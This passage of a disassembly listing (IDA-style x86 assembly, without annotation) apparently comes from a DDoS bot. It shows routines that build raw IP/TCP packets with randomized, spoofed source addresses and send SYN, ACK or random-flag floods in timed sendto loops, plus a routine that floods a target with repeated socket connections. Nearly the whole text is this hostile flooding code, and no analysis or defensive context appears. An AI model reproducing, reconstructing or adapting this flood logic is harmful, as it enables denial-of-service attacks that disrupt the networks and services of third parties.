loc_4124CE:				; CODE XREF: sub_412484+B2j
		xor	esi, esi


loc_4124D0:				; CODE XREF: sub_412484+77j
		push	0
		push	1
		push	2
		call	dword_424208	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_4124F8
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4241E0	; ioctlsocket


loc_4124F8:				; CODE XREF: sub_412484+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_4124D0
		xor	esi, esi


loc_4124FF:				; CODE XREF: sub_412484+91j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	[ebp+esi*4+var_654]
		call	dword_4241F8	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_4124FF
		push	64h
		call	dword_424078	; Sleep
		xor	esi, esi


loc_412521:				; CODE XREF: sub_412484+ADj
		push	[ebp+esi*4+var_654]
		call	dword_424204	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_412521
		dec	[ebp+arg_4]
		jnz	short loc_4124CE
		pop	edi
		pop	esi


loc_41253A:				; CODE XREF: sub_412484+3Ej
		xor	eax, eax
		leave
		retn
sub_412484	endp


; =============== S U B	R O U T	I N E =======================================



sub_41253E	proc near		; CODE XREF: sub_4123E8+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409B6B
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_4184D9
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_4184D9
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_412484
		add	esp, 18h
		test	eax, eax
		jnz	short loc_412572
		inc	eax


loc_412572:				; CODE XREF: sub_41253E+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_41253E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412581	proc near		; DATA XREF: sub_401AA1+5B87o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4128CE
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_439654
		push	eax
		call	sub_4185E6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4125FE
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408BC1
		add	esp, 14h


loc_4125FE:				; CODE XREF: sub_412581+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413F3A
		push	[ebp+var_10]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_412581	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41261D	proc near		; CODE XREF: sub_4128CE+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CDE60	; WSAStartup
		test	eax, eax
		jz	short loc_41265D
		xor	eax, eax
		jmp	loc_4128A1
; ---------------------------------------------------------------------------


loc_41265D:				; CODE XREF: sub_41261D+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CDF84	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_412899
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CDEC4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_41288F
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CDEE4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CDEE4	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CDEE4	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CDEE4	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_424134	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_424130	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41A010
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_412748:				; CODE XREF: sub_41261D+25Dj
					; sub_41261D+269j
		mov	[ebp+var_24], bx
		call	sub_418642
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CDEE4	; htons
		mov	[ebp+var_34], ax
		call	sub_418642
		mov	edi, eax
		shl	edi, 10h
		call	sub_418642
		or	edi, eax
		push	edi
		call	dword_4CDEE4	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CDEE0	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CDEE4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_409CD4
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_419070
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_409CD4
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_419070
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CDF44	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4128A5
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_424130	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_41288C
		jl	loc_412748
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_412748


loc_41288C:				; CODE XREF: sub_41261D+25Bj
		mov	ebx, [ebp+arg_8]


loc_41288F:				; CODE XREF: sub_41261D+78j
					; sub_41261D+2AFj
		push	[ebp+var_C]
		call	dword_4CDF78	; closesocket
		pop	esi


loc_412899:				; CODE XREF: sub_41261D+5Bj
		call	dword_4CDE48	; WSACleanup
		mov	eax, ebx


loc_4128A1:				; CODE XREF: sub_41261D+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4128A5:				; CODE XREF: sub_41261D+247j
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_43967C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_413F3A
		add	esp, 10h
		jmp	short loc_41288F
sub_41261D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4128CE	proc near		; CODE XREF: sub_412581+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409B6B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_4184D9
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_4184D9
		mov	edi, eax
		call	sub_418642
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41261D
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_412917
		inc	eax


loc_412917:				; CODE XREF: sub_4128CE+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4128CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412926	proc near		; DATA XREF: sub_401AA1+63D6o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4184D9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CDF20	; inet_addr
		push	eax
		call	sub_4129C7
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_43969C
		push	eax
		call	sub_4185E6
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_4129A8
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408BC1
		add	esp, 14h


loc_4129A8:				; CODE XREF: sub_412926+60j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_413F3A
		push	[ebp+var_10]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_412926	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129C7	proc near		; CODE XREF: sub_412926+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		xor	ecx, ecx
		push	6
		inc	ecx
		pop	edx
		mov	ebx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_419D25
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4CDEF8	; gethostname
		push	[ebp+var_4]
		call	dword_4CDF64	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4CDF60	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4CDEC4	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_418235
		mov	edi, dword_4240A8
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4CDEE4	; htons
		mov	[ebp+var_96], ax
		jmp	loc_412BB1
; ---------------------------------------------------------------------------


loc_412AE7:				; CODE XREF: sub_4129C7+1FBj
		call	sub_418642
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_418642
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_418642
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_418642
		mov	[ebp+var_20], ax
		call	sub_418642
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4CDEE4	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4CDEE4	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_418642
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_409CD4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_419070
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4CDF44	; sendto


loc_412BB1:				; CODE XREF: sub_4129C7+11Bj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		jbe	loc_412AE7
		push	[ebp+var_8]
		call	sub_417E11
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_4129C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BE2	proc near		; DATA XREF: sub_401AA1+4B25o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9F]
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4240A8
		call	edi	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4CDF60	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_412CAB
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_4397B8
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_412C8B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408BC1
		add	esp, 14h


loc_412C8B:				; CODE XREF: sub_412BE2+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413F3A
		push	[ebp+var_BC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_412CAB:				; CODE XREF: sub_412BE2+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4CDEC4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412D29
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_439780
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_412D09
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408BC1
		add	esp, 14h


loc_412D09:				; CODE XREF: sub_412BE2+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413F3A
		push	[ebp+var_BC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_412D29:				; CODE XREF: sub_412BE2+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412D99
		lea	eax, [ebp+var_440]
		push	offset unk_439760
		push	eax
		call	sub_4185E6
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_412D79
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408BC1
		add	esp, 14h


loc_412D79:				; CODE XREF: sub_412BE2+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413F3A
		push	[ebp+var_BC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_412D99:				; CODE XREF: sub_412BE2+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4CDEE4	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax
		jmp	loc_413001
; ---------------------------------------------------------------------------


loc_412DD6:				; CODE XREF: sub_412BE2+433j
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4CDEE4	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_412E2F
		call	sub_418642
		mov	esi, eax
		shl	esi, 8
		call	sub_418642
		add	esi, eax
		shl	esi, 8
		call	sub_418642
		add	esi, eax
		shl	esi, 8
		call	sub_418642
		add	esi, eax
		mov	[ebp+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_412E45
; ---------------------------------------------------------------------------


loc_412E2F:				; CODE XREF: sub_412BE2+21Ej
		push	[ebp+var_240]
		call	sub_409C7B
		pop	ecx
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	[ebp+var_20], eax


loc_412E45:				; CODE XREF: sub_412BE2+24Bj
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_412E63
		call	sub_418642
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_412E69
; ---------------------------------------------------------------------------


loc_412E63:				; CODE XREF: sub_412BE2+26Fj
		push	[ebp+var_B8]


loc_412E69:				; CODE XREF: sub_412BE2+27Fj
		call	dword_4CDEE4	; htons
		mov	[ebp+var_16], ax
		call	sub_418642
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CDEE4	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4CDEE0	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412EB9
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_412F15
; ---------------------------------------------------------------------------


loc_412EB9:				; CODE XREF: sub_412BE2+2CCj
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412ED9
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_412F15
; ---------------------------------------------------------------------------


loc_412ED9:				; CODE XREF: sub_412BE2+2ECj
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F15
		call	sub_418642
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_418642
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_412F15:				; CODE XREF: sub_412BE2+2D5j
					; sub_412BE2+2F5j ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4CDEE4	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4CDEE4	; htons


loc_412F4B:				; DATA XREF: .nsp0:off_43D1ECo
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_409CD4
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_419070
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_409CD4
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_419070
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4CDF44	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4130AC
		inc	[ebp+arg_0]


loc_413001:				; CODE XREF: sub_412BE2+1EFj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_B4]
		jbe	loc_412DD6
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_439710
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41308C
		push	ebx
